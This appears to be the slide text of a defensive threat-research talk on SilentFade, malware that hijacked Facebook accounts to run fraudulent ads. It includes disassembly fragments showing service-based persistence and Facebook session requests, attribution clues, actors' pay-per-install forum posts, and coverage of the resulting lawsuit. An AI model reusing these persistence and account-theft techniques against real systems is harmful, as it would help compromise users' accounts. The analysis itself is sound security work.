call  sub_100829A0
push  208h                ; size_t
lea   eax, [ebp+BinaryPathName]
push  0                   ; int
push  eax                 ; void *
call  _memset
push  offset Src          ; "%SystemRoot%\System32\svchost.exe -k "
lea   eax, [ebp+BinaryPathName]
push  104h                ; SizeInWords
push  eax                 ; Dst
call  _wcsncpy_s
push  offset aAdServiceGroup ; "AdServiceGroup"
lea   eax, [ebp+BinaryPathName]
push  104h                ; SizeInWords
push  eax                 ; Dst
call  _wcsncpy_s
lea   eax, [ebp+BinaryPathName]
push  offset aWszBinPathS ; "wszBinPath = %s \n"
call  sub_100829A0
add   esp, 34h
push  0F003Fh             ; dwDesiredAccess
push  0                   ; lpDatabaseName
push  0                   ; lpMachineName
call  ds:OpenSCManagerW
mov   esi, eax
test  esi, esi
jnz   short loc_1008E2B2
call  ds:GetLastError
push  eax
push  offset aOpenSCManagerF ; "OpenSCManager failed w/err: 0x%08lx\n"
call  sub_100829A0
add   esp, 8
xor   al, al
pop   esi
mov   ecx, [ebp+var_4]
xor   ecx, ebp
call  @__security_check_cookie@4 ; __security_check_cookie(x)
mov   esp, ebp
pop   ebp
retn

; CODE XREF: InstallSvc+C01j
push  edi
push  0                   ; lpPassword
push  0                   ; lpServiceStartName
push  0                   ; lpDependencies
push  0                   ; lpdwTagId
push  0                   ; lpLoadOrderGroup
lea   eax, [ebp+BinaryPathName]
push  eax
push  1                   ; lpBinaryPathName
push  1                   ; dwErrorControl
push  2                   ; dwStartType
push  20h ; ' '           ; dwServiceType
push  0F01FFh             ; dwDesiredAccess
push  offset ServiceName ; "AdService"
push  offset ServiceName ; "AdService"
call  ds:CreateServiceW
mov   edi, eax
test  edi, edi
jnz   short loc_1008E2E3
call  ds:GetLastError
push  eax
push  offset aCreateServiceF ; "CreateService failed w/err: 0x%08lx\n"
call  sub_100829A0

```

Code from github.com/hpsocket used in SilentFade samples

SilentFade Developer

Compromise Facebook Account

- PE Resource Code Pages set to Simplified Chinese.
- Locale within code set to Simplified Chinese
- PDB paths consistent across older variants
- Same user found posting code in a Chinese-language programming forum



Justin
hpsocket

Follow

Block or report user

I'm a low-key boy, I'm chasing my dreams

Network Security Company
Mars
<https://github.com/hpsocket>

```
38 40 02 00-5E 40 02 00-81 40 02 00-9C 40 02 00 ;@ ^@ u@ f@  
52 53 44 53-C6 34 BE EF-AF C5 8C 4F-B2 A5 0E 2E RSDS;4J n;+iO N;.  
78 31 49 41-01 00 00 00-43 3A 5C 55-73 65 72 73 {1IAO C:\Users\  
5C 4A 75 73-74 69 6E 5C-44 65 73 68-74 6F 70 5C Justin\Desktop\  
43 68 72 6F-6D 65 45 78-74 49 6E 73-74 61 6C 6C ChromeExtInstall  
65 72 5C 52-65 6C 65 61-73 65 5C 43-68 72 6F 6D er\Release\Chrom  
65 45 78 74-49 6E 73 74-61 6C 6C 65-72 2E 70 64 eExtInstaller.pd  
62 00 00 00-01 00 00 00-0E 01 00 00-0E 01 00 00 b e 20 20
```

```
EF CC 02 00-10 CD 02 00-30 CD 02 00-53 CD 02 00 n;@ ==@ 0=@ S=@  
76 CD 02 00-91 CD 02 00-52 53 44 53-72 03 66 D4 v=@ a=@ RSDS;vfl  
A4 B4 68 4B-BA 66 53 87-C5 6B C3 84-01 00 00 00 kklfs;+k;ao  
43 3A 5C 55-73 65 72 73-5C 4C 6F 77-42 6F 79 5C C:\Users\LowBoy\  
44 65 73 68-74 6F 70 5C-59 6F 75 72-20 43 6C 61 Desktop\Your Cla  
73 73 69 66-69 65 64 73-20 4E 6F 77-20 54 6F 6F ssifieds Now Too  
6C 62 61 72-5C 52 65 6C-65 61 73 65-5C 50 72 6F lbar\Release\Pro  
6A 65 63 74-2E 70 64 62-00 00 00 00-01 00 00 00 ject.pdb e  
08 01 00 00-08 01 00 00-00 00 00 00-06 01 00 00 20 20 20
```

PDB path in SilentFade samples

```
-----  
lea    eax, [ebp+var_C] ;  
mov    large fs:0, eax  
mov    [ebp+var_10], esp  
push  offset aChs      ; "CHS"  
push  LC_ALL           ; int  
call  _setlocale
```

Pay-Per-Install (PPI) Traffic

Maintainers found looking for desktop installs

- Individuals connected with SilentFade found on forums looking for channels to distribute the malware using PPI networks

Be a quality advertising platform
Let advertising change our lives

Multi-dimensional orientation

- 6 types of directional levels, 9 major directional conditions, into 1000 targeted interest categories
- Close target audience, effectively reduce advertising budget waste
- Really do thousands of people

Rich and varied advertising formats

- Stream advertising
- Screen advertisement
- Banner ad
- Video ad
- Software installation

Traffic plan

- Global website traffic
- Facebook targeted traffic promotion
- Website quotation
- PC Mobil traffic

contact us:
E-mail: staoism@ilikead.com

I LIKE AD

Mar 21, 2016

payinstall
Member

Joined: Mar 21, 2016
Messages: 44
Likes Received: 0

hi, we have a silent installer, does not require the user to set and does not require administrative privileges to enhance And the world is looking for a mixed installation. First, you need to install between 2K-5K. I read a lot PPI network, but the price of some expensive. Although we do not offer low prices but they do have some expensive. So we hope that other companies or individuals may be provided.

Mar 21, 2016

payinstall
Member


Hello everyone
We need a lot of US installations Our offer is a plug-in for IE browser, only IE browser.
We have our own statistical procedures, we do not support prepaid, the first cooperation can be paid daily, and then slowly pay a week, two weeks to pay once, we are reputable
It is best for companies to work with us.


Geos:US
rate:0.4-0.6(The more the quantity, the higher the price)

If you are interested, please PM me, or leave your contact information
look forward to your reply

 **staoism** hello,
I need Traffic for our campaigns . 10K-200K daily needs installation
Please contact my skype: [staoism.asp](https://www.skype.com/people/staoism.asp)
Mar 12, 2015

Seeking software installed capacity
Discussion in 'Pay Per Click Advertising' started by staoism, Mar 14, 2015.

 I developed a software, .exe application, need to run a large number of customers to download to install it in a lot of software installed in this quest and, if you can provide me, please contact me


THE BEST TOOL FOR SEM & SEO! **TRY IT NOW FOR FREE!** 

staoism
Feon

Messages: 2
Likes Received: 0
Best Answers: 0
Trophy Points: 1

staoism, Mar 14, 2015 IP

Actors looking for Pay-per-Install (PPI) Traffic to Install SilentFade.
Services like "ILikeAd" and others run ads through Compromised Accounts.

 **staoism.asp**

Verticals	Software
Sources	Other
Basis	PPI, Other
Platform	Desktop
Geos	United Kingdom, United States

Need to buy a large number of US desktop installation (PPI)

hello,
We now have an offer, that requires a lot of US installation (desktop).
Our offer is a plug-in for IE browser, only IE, We need a lot of US desktop installation, we have a good budget.
If you can provide the installation (which can be bundled installation) Please contact me.
Special Note:
1. We do not support advance payment, we have good payment credit. (If you are a company, high credibility, we can consider prepaid Sign the ID protocol)
2. payment method: paypal, WMZ, PM, wire transfer
3. We are currently only interested in PPI (pay per install), other types of traffic are not very interested in. If not PPI, please do not add me.
4. payment cycle: First cooperation daily payment
Cooperation for a long time to pay once a week.

We have the credibility of that, did not deceive anyone, did not deceive a penny.
Looking forward to your contact!
SKYPE: [staoism.asp](https://www.skype.com/people/staoism.asp)
Email: staoism.asp@gmail.com

Legal Action

FACEBOOK

← Back to Newsroom

Facebook

Taking Action Against Ad Fraud

December 5, 2019

By Jessica Romero, Director of Platform Enforcement and Litigation and Rob Leathern, Director of Product Management, Business Integrity

As part of our ongoing efforts to keep people safe and combat abuse of our ad platform, Facebook filed suit in California today against one entity and two individuals for violating our Terms and Advertising Policies. The defendants deceived people into installing malware available on the internet. This malware then enabled the defendants to compromise people's Facebook accounts and run deceptive ads promoting items such as counterfeit goods and diet pills.

<https://about.fb.com/news/2019/12/taking-action-against-ad-fraud/>

TECHNOLOGY NEWS DECEMBER 5, 2019 / 11:28 AM / 2 MONTHS AGO

Facebook sues ILikeAd, alleges ad fraud

Jonathan Stempel

2 MIN READ



MUST READ: Ransomware attacks are now targeting industrial control systems

Facebook sues Chinese malware operator for abusing its ad platform

Facebook sues ILikeAd and two Chinese nationals for using Facebook ads to trick users into downloading malware.



Facebook is suing a Hong Kong ad firm, claiming it hijacked people's accounts to run millions of dollars of deceptive ads

Charlie Wood Dec 6, 2019, 6:04 AM



<https://www.reuters.com/article/us-facebook-ilikead-lawsuit/facebook-sues-ilikead-alleges-ad-fraud-idUSKBN1Y92IR>

<https://www.zdnet.com/article/facebook-sues-chinese-malware-operator-for-abusing-its-ad-platform>

<https://www.businessinsider.com/facebook-china-ilikead-compromised-run-fake-ads-2019-12>

Updates since Legal Action

- GitHub Account taken down by actor.
- New C&C servers and communication protocol
- Code rewritten from scratch but (currently) offers same functionality.
- DirectX based Anti-VM detection features added.
- Related malware families evolve with newer features, SilentFade appears to have morphed to “NetSys” with MMX-based string obfuscation
- Instagram credential theft and session compromise code added
- Twitter Account Compromise functionality resurrected.

```

68B4875200  push  0005287B4 ; '&__a=1' --↓1
8D85C8FEFFFF  lea  eax,[ebp][-000000138]
50          push  eax
FFD6       call  esi
0F280540995200  movaps xmm0,[000529940] ; 'https://secure.
6860010000  push  000000160 ; ' @`
0F1145D4    movups [ebp][-02C],xmm0
C745E461636562  mov  d,[ebp][-01C],062656361 ; 'beca'
C745E86F6F6B2E  mov  d,[ebp][-018],02E6B6F6F ; '.koo'
C745EC636F6D00  mov  d,[ebp][-014],0006D6F63 ; 'moc'
E8513A0100  call  .00049EE56 --↓3
8BF0       mov  esi,eax
83C404     add  esp,4
89B5C4FEFFFF  mov  [ebp][-00000013C],esi
6860010000  push  000000160 ; ' @`
6A00       push  0
56         push  esi
C745FC00000000  mov  d,[ebp][-4],0
E81C630500  call  .0004E1740 --↓4
8D4DD4     lea  ecx,[ebp][-02C]
C785B8FEFFFF00000000  mov  d,[ebp][-000000148],0
83C40C     add  esp,00C
C785BCFEFFFF0F000000  mov  d,[ebp][-000000144],00000000F

.0048B45F: 6880DA5200  push  00052DA80 ; '&__a=1' --↓1
.0048B464: 6804010000  push  000000104
.0048B469: 50          push  eax
.0048B46A: E8C1520600  call  .0004F0730 --↓2
.0048B46F: 83C40C     add  esp,00C
.0048B472: 6860010000  push  000000160 ; ' @`
.0048B477: E80A890100  call  .0004A3D86 --↓3
.0048B47C: 8BF0       mov  esi,eax
.0048B47E: 83C404     add  esp,4
.0048B481: 89B5E4FEFFFF  mov  [ebp][-00000011C],esi
.0048B487: 6860010000  push  000000160 ; ' @`
.0048B48C: 6A00       push  0
.0048B48E: 56         push  esi
.0048B48F: C745FC00000000  mov  d,[ebp][-4],0
.0048B496: E8D5B10500  call  .0004E6670 --↓4
.0048B49B: 83C40C     add  esp,00C
.0048B49E: C785D8FEFFFF00000000  mov  d,[ebp][-000000128],0
.0048B4A8: 8D8DC8FEFFFF  lea  ecx,[ebp][-000000138]
.0048B4AE: C785DCFEFFFF0F000000  mov  d,[ebp][-000000124],00000000F
.0048B4B8: C685C8FEFFFF00  mov  b,[ebp][-000000138],0
.0048B4BF: 6A1B       mov  01B
.0048B4C1: 6888DA5200  push  00052DA88 ; 'https://secure.facebook.com' --↓5
.0048B4C6: E80597F7FF  call  .000404BD0 --↑6
    
```

Where do we go from here?

User Education is Key

- Endpoint Protection Products (AV) can recommend that users change credentials upon malware detection.
- Notify users which online accounts could've been compromised based on data in credential stores

Cross-Industry Collaboration and Partnership

- Monitoring and Sharing Credential dump sharing is no longer enough
 - Include the ability to monitor, share and ingest cookies as well
- Endpoint protection solutions can inform browser or web services directly upon infection
 - **New APIs needed** for Endpoint solutions to communicate device compromise to Browser and for Browser to communicate account compromise with web services.

Keep Sharing IOCs

- Continue sharing IOCs and publishing Threat Reports

Thank You!

FACEBOOK